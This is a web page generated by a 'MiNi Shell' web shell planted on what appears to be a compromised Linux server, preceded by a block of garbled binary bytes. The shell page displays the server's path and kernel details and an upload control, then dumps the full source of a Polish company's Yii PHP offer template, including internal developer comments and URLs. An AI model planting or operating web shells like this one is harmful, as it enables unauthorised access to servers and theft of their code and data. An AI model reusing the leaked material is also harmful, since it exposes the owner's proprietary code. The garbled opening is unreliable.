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.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/backend/views/offers/

Linux eb5096292c53 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/backend/views/offers/show_offer_continuation_of_cooperation_t2.php

<?php

use yii\helpers\Html;
use yii\helpers\HtmlPurifier;
use common\models\Services;

/* @var $this yii\web\View */
/* @var $model backend\models\Offers */
/* @var $companyData array */
/* @var $operatorData array */
/* @var $resourcesData array */
/* @var $preview boolean */

$idsServices = [];
$proposals = [];

foreach(['actual', 'proposals'] as $fieldName) {
    $groups = $fieldName === 'actual' ? [$model->offer_data['actual']] : $model->offer_data['proposals'];
    foreach($groups as $group) {        
        if(intval($group['or_visible']) !== 1) {
            continue;
        }
        $proposal = $group;        
        $proposal['total_price_in_pricelist'] = 0;
        $proposal['total_amount'] = 0;
        if(!empty($group['services'])) {
            foreach($group['services'] as $service) {
                $proposal['total_price_in_pricelist'] += $service['price_in_pricelist'];
                $proposal['total_amount'] += $service['amount'];
                if(!empty($service['id_service']) && !in_array($service['id_service'], $idsServices)) {
                    $idsServices[] = $service['id_service'];
                }
            }
        }
        $proposal['total_discount_as_amount'] = abs($proposal['total_price_in_pricelist'] - $proposal['total_amount']);
        $proposal['total_discount_as_percentage'] = floatval($proposal['total_price_in_pricelist']) !== 0.00 ? round((1 - ($proposal['total_amount'] / $proposal['total_price_in_pricelist'])) * 100, 2) : 0.00;
        
        $proposals[] = $proposal;
    }
}

$numberOfProposals = count($proposals);

$modelsServices = Services::find()->where(['id_service' => $idsServices])->indexBy('id_service')->orderBy('name')->all();

$portals = $model->portals->getValue();

$verticaData = Yii::$app->params['invoicingData'];

$colorborder = '#dddddd;';
$color1back = '#1a5085;'; $color1text = '#ffffff;';
$color2back = '#142d46;'; $color2text = '#ffc107;';
$height=1254;
?> 

<?php
function replace_image_height($resourcesData,$text){if(!$text)return 0;$return=0;
    if(!empty($resourcesData)){
        foreach($resourcesData as $placeholder=>$array){
            if(substr_count($text,$placeholder)){
                switch ($array['type']){
                    case "BANNER":
                        $return=$return+$array['data']['file_height'];
                        break;
                }
            }
        }
    }    
    return $return;
};
function preg_match_replace($resourcesData,$text){if(!$text)return'';
    if(!empty($resourcesData)){
        foreach($resourcesData as $placeholder=>$array){
            if(substr_count($text,$placeholder)){
                switch ($array['type']){
                    case "PRESENTATION":
                        $text=str_replace($placeholder,'<a href="'.$array['data']['url'].'" target="_blank">'.$array['data']['url'].'</a>',$text);
                        break;
                    case "BANNER":
                        $text=str_replace($placeholder,'<a href="'.$array['data']['url_target'].'"><img style="max-width:800px;" src="'.$array['data']['url'].'"></a>',$text);
                        break;
                }
            }
        }
    }
    return $text;
};
    /**
     * ###TODO:MARCIN###
     * 
     * Pod zmienną $resourceData masz dane dla hashtagów-placeholderów, które mogą wystąpić w treści (wstęp i podsumowanie), a także w opisach produktów.
     * Struktura jest mniej więcej taka:
     * array (size=2)
        '###PRESENTATION_1315###' => 
          array (size=2)
            'type' => string 'PRESENTATION' (length=12)
            'data' => 
              array (size=3)
                'id' => int 1315
                'url' => string 'https://chlodnictwo.biz/firmy/dane-kontaktowe/1315_alnor-systemy-wentylacji-sp-z-oo' (length=83)
                'domain' => string 'chlodnictwo.biz' (length=15)
        '###BANNER_1863###' => 
          array (size=2)
            'type' => string 'BANNER' (length=6)
            'data' => 
              array (size=4)
                'id' => int 1863
                'url' => string 'https://www.vmanager-common.test/uploads/images/banners/seco_baner_media_plan_750x90_gif-261489001696337188.webp' (length=112)
                'url_alternative' => null
                'url_target' => string 'https://3c11aa860ea74edfa8a0f889125ec2ba.svc.dynamics.com/t/r/7fUoLb9L_1M0irXfiJhoKOl2Vw32PqjACfLcuUkCemg' (length=105)
     * 
     * Jak widzisz - klucz, to placeholder, potem masz pierwsze zagnieżdżenie, gdzie type oznacza typ, na ten moment baner oraz prezentacja. 
     * Reszta danych zależy już od samego typu danych i jeśli cokolwiek jeszcze będzie potrzebne, to uzupełnię. 
     * Na razie wziąłem takie w miarę logiczne podstawowe dane. Nie wiem, w jakiej formie będzie to miało być prezentowane, więc cóż...
     * 
     */
?>

<html>
    <head>
        <meta content="text/html; charset=utf-8" http-equiv="Content-Type"/>
        <style type="text/css">
            @import url('https://fonts.googleapis.com/css2?family=Open+Sans:wght@300;400;500;600;700;800&display=swap');
            
            html {margin:0; padding:0;}
            body {
                margin:0;
                padding:0;
                font:14px Tahoma;
                line-height:17px;
                <?php if($preview): ?>
                    
                <?php endif; ?>
            }
            
            h1 {
                text-align: center;
            }
            
            div.proposals-container {
                display: flex;
                flex-wrap: wrap;
            }
            
            div.proposal {
                display: flex;
                flex-direction: column;
                width: <?= floor((1 / ($numberOfProposals > 0 ? $numberOfProposals : 1)) * 100) ?>%;
                border: 1px solid black;
                box-sizing: border-box;
            }
            
            div.proposal div {
                border-bottom: 1px solid black;
            }
            
            div.proposal div.summary-divider {
                flex: auto;
            }
            
            div.proposal div.summary {
                border: none;
            }
            
            /*
            div.proposals-details-cointaner table {
                border: 1px solid black;
                border-collapse: collapse;
            }
            
            div.proposals-details-cointaner table th, div.proposals-details-cointaner table td {
                border: 1px solid black;
                border-collapse: collapse;
            }
            */
            
            /*marcin*/
            body {
                font-family: 'Open Sans', Verdana, Arial, sans-serif;
                font-size: 15px;
                line-height: 1.5em;
                background: #efefef;
            }
            .page {
                page-break-before: always;
            }
            .page.withtop {
                background-image:url(<?= Yii::$app->params['backendBaseUrl'].'/images/'; ?>pdftop.jpg);
                background-size: 800px;
                background-position: 100% -5%;
                background-repeat: no-repeat;
            }
            .container {
                padding: 30px;
                position: relative;
                min-height: <?=$height+130;?>px;
                max-width: 950px;
                margin: auto;
            }
            .page.withtop .container {
                padding-top: 160px;
                min-height: <?=$height;?>px;
            }
            h1 {
               font-size: 2em;
               font-weight: 600;
               margin-bottom: 1em;
               text-align: left;
            }
            h2 {
               font-weight: 600;
               margin-bottom: 1em;
            }
            h3 {
                margin-top: 0;
                border-bottom: 5px solid #bbb;
                display: inline-block;
                margin-bottom: 12px;
                height: 32px;
            }
            h3 u {
                display: inline-block;
                padding-bottom: 10px;
                text-decoration: none;
                border-bottom: 5px solid <?=$color1back?>;
            }
            .lead {
                margin-bottom: 1em;
                border-left: 5px solid <?=$color1back?>;
                padding-left: 30px;
                padding-right: 150px;
            }
            .col {
                width: <?= floor((1 / ($numberOfProposals > 0 ? $numberOfProposals : 1)) * 100) ?>%;
                float: left;
            }
            .width33 {
                width: 30%;
                float: left;
                margin-right: 3%;
                margin-bottom: 10px;
            }
            .width66 {
                width: 60%;
                float: left;
                margin-right: 6%;
                margin-bottom: 10px;
            }    
            .half {
                width: 45%;
                float: left;
                margin-right: 5%;
                margin-bottom: 10px;
            }
            .bottom {
                position: absolute;
                bottom: 0;
                height: 350px;
                width: 100%;
            }
            .row {
                clear: both;
            }
            .table {
                font-size: 14px;
                width: 100%;
                margin-bottom: 20px;
            }
            .nomarginbottom {
                margin-bottom: 0;
            }
            .table th {
                background: <?=$color1back?>;
                color:  <?=$color1text?>;
                padding: 8px;
            }
            .table th.summary {
                background: <?=$color2back?>;
                color:  <?=$color2text?>;
            }
            .table td {
                border-top: 2px solid <?=$colorborder?>;
                padding: 8px;
                text-align: left;
            }
            .table.foot th {
                text-align: left;
            }
            
            .footer {
                display: block;
                position: absolute;
                bottom: 0;
                left: 0;
                width: 100%;
                height: 150px;
                background-image:url(<?= Yii::$app->params['backendBaseUrl'].'/images/'; ?>pdffootermin.jpg);
                background-repeat: no-repeat;
                z-index: -1;
            }
            caption {
                text-align: left;
                font-size: 18px;
                padding-bottom: 10px;
            }
            <?php if(!$preview): ?>

            <?php else: ?>
            /** /
            .page {
                margin: 20px 0;
                box-shadow: #ddd 0 11px 0 0, #ddd 0 -11px 0 0;
            }
            .container {
                margin: auto;
                box-shadow: #ddd 500px 0 0 0, #ddd -500px 0 0 0;
            }
            /**/
            <?php endif; ?>
        </style>
    </head>
    <body>
        
    <div class="page withtop"><div class="container">
            
               
        <h1><?= Html::encode($model->name) ?></h1>
        
        <div class="width33">
            <h3><u>Oferta</u> dla:</h3><br>
            <?= Html::encode($companyData['name']) ?><br>
            ul.  <?= Html::encode($companyData['street']) ?> <?= Html::encode($companyData['building_number']) ?> 
            <?php if($companyData['apartment_number']): ?>/<?= Html::encode($companyData['apartment_number']) ?><?php endif; ?><br>
            <?= Html::encode($companyData['postcode']) ?>, <?= Html::encode($companyData['locality']) ?><br>
            <?php if($companyData['tax_id']): ?>NIP: <?= Html::encode($companyData['tax_id']) ?><?php endif; ?>
        </div>
        
        <div class="width66">
            <h3><u>Ofertę</u> przygotował(a):</h3><br>
            <?= Html::encode($operatorData['forename']) ?> <?= Html::encode($operatorData['surname']) ?><br>
            <?php if($operatorData['phone']): ?>Tel.: <?= Html::encode($operatorData['phone']) ?><br><?php endif; ?>
            <?php if($operatorData['email']): ?>E-mail: <?= Html::encode($operatorData['email']) ?><br><?php endif; ?>
            <?php if(!empty($portals)): ?>
                <?php foreach($portals as $portal): ?>
                    <img src="<?= Yii::$app->params['backendBaseUrl'].'/images/transparent/'.substr($portal,0,strpos($portal,'.')); ?>.png" height="40" style="margin-top:8px;">
                <?php endforeach; ?> 
            <?php endif; ?>
        </div>
        
        <div class="row"></div>
        
        <?php 
        $jedna_strona=substr_count($model->content,'<p>'); //echo $jedna_strona.'>';
        $jedna_strona+=round(strlen(strip_tags($model->content))/110); //echo $jedna_strona.'>';
        $jedna_strona+=round(replace_image_height($resourcesData,$model->content)/25); //echo $jedna_strona.'>';
        $jedna_strona+=substr_count($model->summary,'<p>'); //echo $jedna_strona.'>';
        $jedna_strona+=round(strlen(strip_tags($model->summary))/110); //echo $jedna_strona.'>';
        $jedna_strona+=round(replace_image_height($resourcesData,$model->summary)/25); //echo $jedna_strona.'>';
        foreach($proposals as $proposal):
          $jedna_strona+=7;
          foreach($proposal['services'] as $item):
              $jedna_strona+=1.8; //echo $jedna_strona.'<';
              $jedna_strona+=round(replace_image_height($resourcesData,$item['description'])/25); //echo $jedna_strona.'<';
          endforeach;
        endforeach;
        ?>
        
        <div class="offer-description-lead lead">
            <?= preg_match_replace($resourcesData,yii\helpers\HtmlPurifier::process($model->content)) ?>
        </div>
        
        <?php foreach($proposals as $proposal): ?>
                    <table class="table nomarginbottom">
                        <tr><th style="text-align: left;"><?= Html::encode($proposal['label']) ?></th></tr>
                    <?php foreach($proposal['services'] as $item): ?>
                        <tr><td>
                        <?= $item['name'] ?>
                        <?php if($item['description']){ ?><p><?= preg_match_replace($resourcesData,$item['description']) ?></p><?php }; ?>
                        </td></tr>
                    <?php endforeach; ?>
                    </table> 
               <div class="width33" style="float:right;margin-right:0;">
                    <table class="table foot">
                    <?php if($proposal['total_discount_as_percentage']): ?>
                    <tr><th>
                        Cennik: <?= number_format($proposal['total_price_in_pricelist'], 2, ',', ' ') ?> zł netto<br>
                        Rabat: <?= $proposal['total_discount_as_percentage'] ?>% | <?= number_format($proposal['total_discount_as_amount'], 2, ',', ' ') ?> zł netto<br>
                    </th><tr>
                    <?php endif; ?>
                    <tr><th class="summary">
                        <strong>Do zapłaty: <?= number_format($proposal['total_amount'], 2, ',', ' ') ?> zł netto</strong>
                    </th><tr>
                    </table>
               </div>
               <div class="row"></div>
        <?php endforeach; ?>  
        
    <?php if(intval($model->or_show_details) !== 1 && intval($model->or_show_services_details) !== 1 && $jedna_strona<29): ?>
               
        <?php if(!empty($model->summary)): ?>
            <div class="offer-description-summary lead">
                <?= preg_match_replace($resourcesData,yii\helpers\HtmlPurifier::process($model->summary)) ?>
            </div>
        <?php endif; ?>
            
        <div class="bottom" style="height:280px;">        
            <div class="width33">
                <h3><u>Ofertę</u> przygotował(a):</h3><br>
                <?= Html::encode($operatorData['forename']) ?> <?= Html::encode($operatorData['surname']) ?><br>
                <?php if($operatorData['phone']): ?>Tel.: <?= Html::encode($operatorData['phone']) ?><br><?php endif; ?>
                <?php if($operatorData['email']): ?>E-mail: <?= Html::encode($operatorData['email']) ?><br><?php endif; ?>
            </div>

            <div class="half">
                <h3><u>Dane</u> grupy Vertica.pl</h3><br>
                <div class="half">
                <?= Html::encode($verticaData['name']) ?><br>
                ul. <?= Html::encode($verticaData['street']) ?> <?= Html::encode($verticaData['buildingNumber']) ?><br>
                <?= Html::encode($verticaData['postcode']) ?> <?= Html::encode($verticaData['locality']) ?><br>
                </div>
                <div class="half">
                Tel.: <?= Html::encode($verticaData['phone']) ?><br>
                Fax: <?= Html::encode($verticaData['fax']) ?><br>
                </div>
            </div>
        </div>  
               
               
    <div class="footer"></div></div></div>

    <?php else: ?>
               
    <div class="footer"></div></div></div>
    <?php if(intval($model->or_show_details) === 1): ?>
    <div class="page"><div class="container">
        
            <h2>Zestawienie szczegółowe:</h2>
            <div class="proposals-details-cointaner">
                <?php foreach($proposals as $key_1 => $proposal): ?>
                <?php 
                   $rabat = 0; $dodatkowe_informacje = false;
                   if(!empty($proposal['services'])):
                       foreach($proposal['services'] as $key_2 => $itemData):
                            $rabat += ($itemData['amount'] - $itemData['price_in_pricelist']);
                            if(!empty($itemData['description']))$dodatkowe_informacje = true;
                       endforeach;
                   endif;
                ?>                   
                    <table class="table">
                        <caption><?= ($key_1 + 1).'. '.$proposal['label'] ?></caption>
                        <colgroup>
                            <col style="width:5%;">
                            <col style="width:35%;">
                            <?php if($dodatkowe_informacje): ?><col style="width:30%;"><?php endif; ?>
                            <?php if($rabat): ?>
                            <col style="width:10%;">
                            <col style="width:10%;">
                            <?php endif; ?>
                            <col style="width:10%;">
                        </colgroup>
                        <thead>
                            <tr>
                                <th>Lp.</th>
                                <th>Przedmiot</th>
                                <?php if($dodatkowe_informacje): ?><th>Dodatkowe informacje</th><?php endif; ?>
                                <?php if($rabat): ?>
                                <th>Cennik</th>
                                <th>Rabat</th>
                                <?php endif; ?>
                                <th>Kwota</th>
                            </tr>
                        </thead>
                        <tbody>
                            <?php 
                                $totalPrice = 0; 
                                $totalDiscountAsAmount = 0; 
                                $totalAmount = 0;
                            ?>
                            <?php if(!empty($proposal['services'])): ?>
                                <?php foreach($proposal['services'] as $key_2 => $itemData): ?>
                                    <?php
                                        $totalPrice += $itemData['price_in_pricelist'];
                                        $totalDiscountAsAmount += ($itemData['amount'] - $itemData['price_in_pricelist']);
                                        $totalAmount += $itemData['amount'];
                                    ?>
                                    <tr>
                                        <td style="width:5%;"><?= ($key_2 + 1) ?></td>
                                        <td style="width:35%;"><?= Html::encode($itemData['name']) ?></td>
                                        <?php if($dodatkowe_informacje): ?>
                                        <td style="width:30%;">
                                            <?= preg_match_replace($resourcesData,Html::encode($itemData['description'])) ?>
                                        </td>
                                        <?php endif; ?>
                                        <?php if($rabat): ?>
                                        <td style="width:10%;text-align:right;"><?= number_format($itemData['price_in_pricelist'], 2, ',', ' ') ?></td>
                                        <td style="width:10%;text-align:center;"><?= floatval($itemData['price_in_pricelist']) !== 0.0 ? round((1 - ($itemData['amount'] / $itemData['price_in_pricelist'])) * 100, 2) : '0.00' ?>%</td>
                                        <?php endif; ?>
                                        <td style="width:10%;text-align:right;"><?= number_format($itemData['amount'], 2, ',', ' ') ?></td>
                                    </tr>
                                <?php endforeach; ?>
                            <?php endif; ?>
                        </tbody>       
                        <tfoot> 
                            <tr>
                                <th colspan="<?php if($dodatkowe_informacje): ?>3<?php else: ?>2<?php endif; ?>" style="text-align: right;"><strong>Łączny koszt</strong></th>
                                <?php if($rabat): ?>
                                <th class="summary"><?= number_format($proposal['total_price_in_pricelist'], 2, ',', ' ') ?> zł netto</th>
                                <th class="summary"><?= number_format($proposal['total_discount_as_amount'], 2, ',', ' ') ?> zł netto udzielonego rabatu</th>
                                <?php endif; ?>
                                <th class="summary"><strong><?= number_format($proposal['total_amount'], 2, ',', ' ') ?> zł netto</strong></th>
                            </tr>
                        </tfoot>
                    </table>  
                <?php endforeach; ?>
            </div>
    
    <div class="footer"></div></div></div>
    <?php endif; ?>
        
    <?php if(intval($model->or_show_services_details) === 1 && !empty($modelsServices)): ?>
    <div class="page"><div class="container">
        
            <h2>Informacje o usługach:</h2>
            <div class="services-details-container">
                <?php foreach($modelsServices as $modelService): ?>
                    <h3><?= $modelService->name ?></h3>
                    <div>
                        <?= HtmlPurifier::process($modelService->description) ?>
                    </div>
                <?php endforeach; ?>
            </div>
    <div class="footer"></div></div></div>
    <?php endif; ?>
        
    <div class="page withtop"><div class="container">
            
        <?php if(!empty($model->summary)): ?>
            <div class="offer-description-summary lead">
                <?= preg_match_replace($resourcesData,yii\helpers\HtmlPurifier::process($model->summary)) ?>
            </div>
        <?php endif; ?>
            
    <div class="bottom">        
        <div class="width33">
            <h3><u>Ofertę</u> przygotował(a):</h3><br>
            <?= Html::encode($operatorData['forename']) ?> <?= Html::encode($operatorData['surname']) ?><br>
            <?php if($operatorData['phone']): ?>Tel.: <?= Html::encode($operatorData['phone']) ?><br><?php endif; ?>
            <?php if($operatorData['email']): ?>E-mail: <?= Html::encode($operatorData['email']) ?><br><?php endif; ?>
        </div>

        <div class="half">
            <h3><u>Dane</u> grupy Vertica.pl</h3><br>
            <div class="half">
            <?= Html::encode($verticaData['name']) ?><br>
            ul. <?= Html::encode($verticaData['street']) ?> <?= Html::encode($verticaData['buildingNumber']) ?><br>
            <?= Html::encode($verticaData['postcode']) ?> <?= Html::encode($verticaData['locality']) ?><br>
            </div>
            <div class="half">
            Tel.: <?= Html::encode($verticaData['phone']) ?><br>
            Fax: <?= Html::encode($verticaData['fax']) ?><br>
            </div>
        </div>
    </div>  
            
    <div class="footer"></div></div></div>
    
    <?php endif; ?>
 
    </body>
</html>

Creat By MiNi SheLL
Email: jattceo@gmail.com